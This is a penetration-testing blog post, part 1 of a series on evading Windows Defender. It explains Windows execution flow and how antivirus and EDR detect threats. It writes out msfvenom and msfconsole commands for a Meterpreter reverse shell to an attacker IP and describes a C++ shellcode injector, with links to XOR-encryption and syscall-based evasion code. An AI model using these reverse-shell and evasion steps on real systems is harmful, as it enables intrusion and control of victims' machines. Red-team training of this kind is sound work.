Bypassing Windows Defender antivirus in 2025: Evasion Techniques Using Direct Syscalls and XOR Encryption – Part 1

Reading Time: 10 minutes
Technical Level: Advanced

Introduction

As pentesters, we always have to keep up to date with the latest trends and of course, bypassing antiviruses is part of our activities. In this article, we will discuss how to bypass antiviruses and since the topic is quite big, it will be divided in two separate articles:

1. Basics of the Windows architecture and the workings of antivirus. Then we will cover how to setup a testing lab and executing raw shellcode using C++
2. How to bypass static & dynamic detections using various techniques

If you are already familiar with the theory behind antivirus evasion, you can directly go to the technical implementation, accessible here : https://www.hackmosphere.fr/bypass-windows-defender-antivirus-2025-part-2/.

Evading antivirus detection remains a major challenge in offensive cybersecurity, particularly when dealing with Windows Defender, which is deployed by default on millions of Windows systems. In this technical article, we explore a modern bypass approach using shellcode encryption, direct syscalls and remote process injection.

    🔑 Key Takeaways

• Understanding basics of the Windows execution flow
• Understanding basics of how antiviruses work
• Setting up a lab for practice
• Executing raw shellcode using C++
• Implementing evasion techniques

All the code we present in this article is accessible here : https://Github.com/hackmosphere/DefenderBypass. We aim to provide several examples that should help you understanding the different steps used for bypassing antiviruses (AVs). Before diving into it, here is a brief overview of what each file does :

• myEncoder3.py : Transforms a given binary file’s (.bin) data into hexadecimal data and XOR encrypt it using the given key. Upon running the script, both the non-encrypted and encrypted hex data is shown to the user
• InjectBasic.cpp : Basic shellcode injector written in C++
• InjectCryptXOR.cpp : InjectBasic.cpp + XOR decryption of a given XOR encrypted shellcode
• InjectSyscall-LocalProcess.cpp : InjectCryptXOR.cpp + injection of the shellcode in the local process & using direct syscalls to bypass userland hooks and removing suspicious functions from the Import Address Table (IAT)
• InjectSyscall-RemoteProcess.cpp : InjectSyscallLocalProcess.cpp but injecting in a remote process instead of the local process

Disclaimer

This is not a tutorial to make a malicious malware, but a practical case for educational purpose only.

Moreover, the code will probably not work anymore soon after it‘s disclosure. It is up to you to make it work again by adding (often minor) modifications to it (hint : threatcheck.exe should help you) 😊

Basics of Windows execution flow

Before delving into the topic of antivirus evasion, it is important to first understand some basics about Windows.

The simple diagram shown below, made by Alexander Sotirov, represents the Windows program execution flow, specifically focusing on the relationship between applications, libraries (DLLs), and the Windows kernel :

Here’s a breakdown of each component shown in the figure above:

1. Applications represent the programs that users interact with, like “firefox.exe”
2. Applications make calls to Dynamic Link Libraries (DLLs) to leverage Windows functionalities without needing direct access to lower-level code. Some of these DLLs might handle tasks such as user interface operations or file management
3. Kernel32.dll is one of the core DLLs in the Windows operating system. It provides essential functions for memory management, operations or process and thread creation
4. Ntdll.dll is the lowest level of user-mode DLLs. It exposes the NT API (Native API), which allows applications to make low-level calls that interface with the Windows kernel. This library acts as a middle layer between user-mode components (like applications) and the kernel, converting user requests into system calls (syscalls, more on that later) that the kernel can understand
5. The kernel is the core part of the Windows operating system, responsible for managing system resources, including memory, processes, and hardware interactions. It operates in « kernel-mode, » which has unrestricted access to the hardware, unlike « user-mode », where applications and DLLs run with limited permissions. The kernel handles system calls made from Ntdll.dll and executes them with direct access to system resources

Example of operation flow for creating a file in C++

1. CreateFile function is invoked in the code – Applications make API calls to interact with the system
2. CreateFile forwards to NtCreateFile – Calls are passed through various DLLs (such as Kernel32) or directly to Ntdll.dll
3. NtCreateFile syscall is triggered – Ntdll.dll converts these API calls into low-level system calls (syscalls)
4. Creates the file and returns a handle – The kernel executes these system calls, managing hardware and system resources as needed

Antivirus & Shellcode overview

Antivirus (AV) & Endpoint Detection and Response (EDR) are both critical components of cybersecurity, but they serve distinct purposes.

AV vs EDR: Key Differences

Antivirus

Windows Defender, like any traditional antivirus solution, primarily focuses on preventive approach. It relies on two main pillars to detect and mitigate threats:

• Static Analysis: Identifying threats by matching known signatures in files.
• Dynamic Analysis: Monitoring application behavior using sandboxing or limited behavioral analysis techniques.

While effective against known threats, this approach often falls short against advanced and emerging attack vectors.

EDR (Endpoint Detection and Response)

These solutions go beyond prevention, taking a more proactive and investigative approach. They let programs run and continuously monitor endpoint (servers, computers…) activity, leveraging behavioral analysis at the kernel level and other advanced detection mechanisms to uncover anomalies and potential threats.

Antivirus VS EDR

Antivirus focuses on stopping threats before they get executed on the system, serving as a virtual “front door lock.”

EDR assumes that breaches are inevitable, prioritizing post-compromise visibility and incident response, to minimize damage and facilitate recovery.

Together, these tools form a layered defense strategy, with antivirus addressing prevention and EDR focusing on detection, investigation, and remediation.

Note: This blog explores the intricacies of antivirus evasion, while the equally critical topic of EDR evasion deserves its own dedicated article. Stay tuned!

Shellcode understanding

When exploiting a vulnerability in a target, you need a payload that will make the victim do what you want.

Payloads can take several forms, one of which is called a shellcode. Typically written in binary, shellcode is injected into a target’s process or memory space to execute malicious instructions.

The term « shellcode » originates from its original purpose: delivering a shell (command prompt) to the attacker, but modern shellcode can perform various tasks, from privilege escalation to downloading and executing additional payloads. In cybersecurity, shellcode is both a weapon for attackers and a tool for defenders, such as penetration testers, who use it to simulate real-world exploits during security assessments. Understanding shellcode is critical for detecting and mitigating attacks that leverage this technique to bypass defences and compromise systems.

Shellcode injection

Allocate – Write – Execute | These are the steps usually done to inject shellcode in a process (other advanced techniques can be used but they are not in the scope of the article) :

• Allocating a RWX memory region with the size of the shellcode
• Writing the shellcode in that memory region
• Executing the content of the allocated memory

How to set up a lab to bypass an antivirus ?

For testing, you need an attacking Kali VM and a victim Windows VM : They must be able to communicate with one another.

Kali

In the attacking Kali VM (here 192.168.242.128), you MUST :

• Generate a Meterpreter shellcode (which is highly detected by antiviruses, on purpose 😉) that will be injected in our loader  :
  • msfvenom -p windows/x64/Meterpreter/reverse_tcp LHOST=192.168.242.128 LPORT=443 EXITFUNC=thread –platform windows -f raw -o reverse64-192168242128-443.bin 

• Launch a Meterpreter listener to receive the connection from the Windows victim when you run your loader :
  • msfconsole
  • use exploit/multi/handler
  • set payload windows/x64/Meterpreter/reverse_tcp
  • set LPORT 443
  • set LHOST 192.168.242.128
  • run

Windows

In the Windows victim, you MUST  :

• Ensure the attacking VM and victim VM can communicate with one another
• Ensure both Windows and Defender are up-to-date
• Make an antivirus exclusion on a chosen directory. This will ensure that your program works at all before attempting to actually bypass Defender
• When testing locally, you may want to disable “Automatic sample submission”. Otherwise, your test executables might be uploaded to Microsoft for analysis and quickly flagged by Defender and other AVs — even before you’ve finished development.
  ⚠️ Note: While turning off sample submission can help during development, it does impact Defender’s overall detection capabilities, particularly when using higher Cloud Protection Levels. In those setups, Defender may rely on the cloud to determine whether a file is malicious. Disabling submission can limit that analysis.
  This setup is intended for local lab use only — always re-enable full protection (including sample submission) outside of controlled test environments.

How to execute basic shellcode using C++ ?

While setting up the lab, you should now have a file called “reverse64-192168242128-443.bin”. This file contains the shellcode that you must execute to connect back to your attacking machine and obtain full control over the victim.

As discussed earlier, shellcode is binary data. We will therefore need to convert it to hexadecimal data so that C++ can use it. This can be done using myEncoder3.py, accessible Here :

Now that the lab is up and that you created your shellcode, it is FINALLY time to implement your first shellcode injection ! Yeyy !

From the Github repository, you can grab the C++ file “injectBasic.cpp”. It provides a very basic shellcode injection technique (Allocate – Write – Execute, remember ? 😊). Here are the key steps of our implementation :

Code explanation :  the shellcode obtained from myEncoder3.py is first added in the “shellcode[]” array. RWX memory of the size of the shellcode is then allocated through “VirtualAlloc()”. The shellcode is then copied there with “memcpy()” before being executed.

OPSEC : Allocating PAGE_EXECUTE_READWRITE rights is a strong indicator and often results in being flagged by security solutions. It would be more opsec friendly to first set the memory protection to PAGE_READWRITE, write the payload and then set it to be executable. For an example of OPSEC friendly implementation, check the next article 😉

Compiling : g++ -o FirstExample.exe -O2 -s -fno-exceptions -fno-rtti -ffunction -sections -fdata -sections -std=c++11 injectBasic.cpp

Running “FirstExample.exe” in the exclusion folder :

• in the folder where you have an exclusion, running your code should provide you with a Meterpreter reverse shell in your attacking machine ? 😊

• Now try dropping the executable to a folder where no exclusion is in place : It should result in immediate detection from Windows Defender.

Conclusion

In this first of a two-article series, we established basics to understand the Windows execution flow, what are antiviruses and how they work.

We also explained how to setup a lab in order to practice in complete “peace of mind”. Finally, we provided basic C++ code to execute a shellcode generated through msfvenom. Obviously, this code has instantly been detected when landing on disk.

The second article, accessible here, discusses how to implement evasion techniques that will bypass Windows Defender detections. Do you have any other questions regarding cybersecurity ? Don’t hesitate to reach out to us here : https://www.hackmosphere.fr/contact